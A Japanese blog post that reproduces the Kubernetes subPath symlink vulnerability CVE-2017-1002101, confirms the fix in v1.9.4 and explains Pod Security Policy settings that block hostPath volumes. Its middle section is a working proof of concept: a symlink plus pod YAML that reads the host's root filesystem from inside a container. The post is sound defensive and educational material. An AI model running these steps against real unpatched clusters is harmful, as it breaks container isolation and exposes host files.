kubernetes

CVE-2017–1002101 について理解する

English post is here

先日 Kubernetesに関して 2 つの脆弱性が発表されました

CVE-2017–1002101
In Kubernetes versions 1.3.x, 1.4.x, 1.5.x, 1.6.x and prior to versions 1.7.14, 1.8.9 and 1.9.4 containers using subpath volume mounts with any volume type (including non-privileged pods, subject to file permissions) can access files/directories outside of the volume, including the host’s filesystem.
CVE-2017–1002102
In Kubernetes versions 1.3.x, 1.4.x, 1.5.x, 1.6.x and prior to versions 1.7.14, 1.8.9 and 1.9.4 containers using a secret, configMap, projected or downwardAPI volume can trigger deletion of arbitrary files/directories from the nodes where they are running.

本日はこの CVE-2017-1002101 についてどういう脆弱性なのか実際に試してみようと思います。


準備

まずは現時点での Kubernetes の最新版である 1.9.4 ではない cluster を準備します。

$ kubectl version --short
Client Version: v1.9.2
Server Version: v1.9.2

手元の cluster は 1.9.2 を準備しました。

Pod Security Policyも何も設定されていない状態です。

$ kubectl get podsecuritypolicy
No resources found.

この cluster に下記の Pod を起動させます。

apiVersion: v1
kind: Pod
metadata:
name: cve-2017-1002101
spec:
containers:
- name: busybox
image: busybox
command: ["sleep", "864000"]
volumeMounts:
- mountPath: /test
name: test-vol
volumes:
- name: test-vol
hostPath:
path: /tmp/test
type: DirectoryOrCreate

hostPath を使用して volumeを mount します。
現時点では subPath はまだ使いません。

$ kubectl get pods
NAME READY STATUS RESTARTS AGE
cve-2017-1002101 1/1 Running 0 2m

pod が起動したら pod の中に入ります。

$ kubectl exec -ti cve-2017-1002101 -- /bin/sh
/ #
/ # cd /test
/test # ln -s ../../.. malicious_link
/test # ls -l
total 0
lrwxrwxrwx 1 root root 11 Mar 16 01:02 malicious_link -> ../../..

mount した volume(/test) の中で symbolic link を作成します。
これでホスト側の /tmp/test の中に malicious_link という symbolic link が作成された状態になります。
malicious_link は実質 / を見ることになります。

host 側で実際に確認してみます。

(host) $ ls -l /tmp/test/malicious_link
lrwxrwxrwx 1 root root 8 Mar 16 18:48 /tmp/test/malicious_link -> ../../..
(host) $ cat<<EOF>/here_i_am.txt
> Yeah!! I'm on the host's root dir!!
> EOF
(host) $ cat /tmp/test/malicious_link/here_i_am.txt
Yeah!! I'm on the host's root dir!!

この段階では先程の pod:cve-2017-1002101 内では here_i_am.txt は参照することはできません。

/ # cat /test/malicious_link/here_i_am.txt
cat: can't open '/test/malicious_link/here_i_am.txt': No such file or directory

実際に脆弱性を突いてみる

それではさっそくやってみましょう。悪用厳禁

先程の pod:cve-2017-1002101 と同じ node に新しい pod を配置します。

今回は nodeSelector で配置するのでまずは対象の node に label をつけます

$ kubectl get pods cve-2017-1002101 -o jsonpath='{.spec.nodeName}{"\n"}'
cve-node1
$ kubectl label node cve-node1 vulnerability=true
node "cve-node1" labeled
$ kubectl get nodes cve-node1 -L vulnerability
NAME STATUS ROLES AGE VERSION VULNERABILITY
cve-node1 Ready node 23h v1.9.2 true

下記の pod を配置します。

apiVersion: v1
kind: Pod
metadata:
name: cve-2017-1002101-2
spec:
containers:
- name: busybox
image: busybox
command: ["sleep", "864000"]
volumeMounts:
- mountPath: /test
name: test-vol
subPath: malicious_link
volumes:
- name: test-vol
hostPath:
path: /tmp/test
type: Directory
nodeSelector:
vulnerability: "true"

今回の pod:cve-2017-1002101-2 では subPath を使用します。先程の pod:cve-2017-1002101 で作成した malicious_linksubPath として設定します。

pod:cve-2017-1002101-2 に入り /test の中身を参照します。

$ kubectl exec -ti cve-2017-1002101-2 -- /bin/sh
/ #
/ # cat /test/here_i_am.txt
Yeah!! I'm on the host's root dir!!

このように簡単に host 側の / を参照することが出来てしまいました。
もしこの pod が root 権限で動いているのならば host 側の全ての file にアクセスすることが可能です。
runAsUser で実行 user が制限されていたとしても、その権限内でアクセスが可能になります。


最新版の 1.9.4 ではどうなっているのか

それでは脆弱性が修正された 1.9.4 ではどのような挙動になるのか見てみましょう。

1.9.4の cluster を用意します。

$ kubectl version --short
Client Version: v1.9.4
Server Version: v1.9.4

先程と同じく pod:cve-2017-1002101 を deploy して準備をしておき、node にも label を付けておきます。

$ kubectl get pods
NAME READY STATUS RESTARTS AGE
cve-2017-1002101 1/1 Running 0 2m

さっそく pod:cve-20171002101-2 を deploy してみると・・・

$ kubectl get pods
NAME READY STATUS RESTARTS AGE
cve-2017-1002101 1/1 Running 0 2m
cve-2017-1002101-2 0/1 CreateContainerConfigError 0 2m

CreateContainerConfigError となり、pod の作成が出来なくなっています。修正されていますね!

kubelet の log には

failed to prepare subPath for volumeMount "test-vol" of container "busybox": subpath "/" not within volume path "/tmp/test"

と出力されます。


hostPath を使えないように Pod Security Policy を設定する

最新版の Kubernetes を使えればいいのですが、簡単に version up できない場合もあります。
その場合は対策として、そもそも hostPath による Volume の使用を禁止しておくのがいいと思われます。

その際に役に立つのが Pod Security Policy になります。

Pod Security Policy を有効にする

Pod Security Policy を有効にする為には kube-apiserver--admission-controlPodSecurityPolicy を追加する必要があります。
これが無いとそもそも Policy を定義しても有効になりません。

Pod Security Policy を有効にした場合には必ず Policy を定義して下さい。
Pod Security Policy が有効な状態で Policy を何も定義していない状態だと何も操作できない状態になります。

Pod Security Policy を使っていない状態の policy は下記になります。(全て許可状態)

apiVersion: extensions/v1beta1
kind: PodSecurityPolicy
metadata:
name: privileged
annotations:
seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*'
spec:
privileged: true
allowPrivilegeEscalation: true
allowedCapabilities:
- '*'
volumes:
- '*'
hostNetwork: true
hostPorts:
- min: 0
max: 65535
hostIPC: true
hostPID: true
runAsUser:
rule: 'RunAsAny'
seLinux:
rule: 'RunAsAny'
supplementalGroups:
rule: 'RunAsAny'
fsGroup:
rule: 'RunAsAny'

慣れるまではこちらをベースにいろいろ Policy を考えていったほうがいいでしょう。

hostPath を無効にする Policy

Pod Security Policy では volume typeによる Volume の利用制限が可能です。
volume type には様々な種類があります。
configMapsecret 等があり、 hostPathも type の 1 つです。

default では全ての type を使うことができます。

volumes:
- '*'

Policy 内では許可する volume type を設定することができますので、 hostPath含めなければいいことになります。

公式による推奨されている設定は下記になります。 hostPath は含まれていませんね。

volumes:
- 'configMap'
- 'downwardAPI'
- 'emptyDir'
- 'persistentVolumeClaim'
- 'secret'
- 'projected'

こちらの Policy を適用することで hostPath の利用を制限することができます。

実際に volumes の Policy を変更した後に hostPath を使った pod を起動させようとすると下記のようなメッセージが表示されます。

$ kubectl create -f cvepod.yaml
Error from server (Forbidden): error when creating "cvepod.yaml": pods "cve-2017-1002101" is forbidden: unable to validate against any pod security policy: [spec.volumes[0]: Invalid value: "hostPath": hostPath volumes are not allowed to be used]

ちゃんと制限されました。


まとめ

CVE-20171002101 について実際に挙動を確認してみました。
hostPathさえ使うことができれば、比較的簡単に hostPath の外側にアクセスできることが出来てしまいます。

Kubernetes を提供しているサービスの管理者であるならば、hostPath による Volume の利用を制限しておくべきでしょう。また、Kubernetes は最新にしておきたいですね。

脆弱性が修正された Kubernetes を使う場合でも Pod Security Policy で hostPath に指定できる場所の制限の制限をしておくといいでしょう。

AllowedHostPaths という Policy を設定すれば hostPath に使用できる path を whitelist で登録することができます。

Pod Security Policy を適切に設定して、よりよい Kubernetes Life を!


追記

脆弱性が修正された 1.9.4 ですが、修正された際に Secret, ConfigMap, Projected, DownwardAPI で subPath が使えなくなる問題が発生していました。こちらは 1.9.5 で修正されています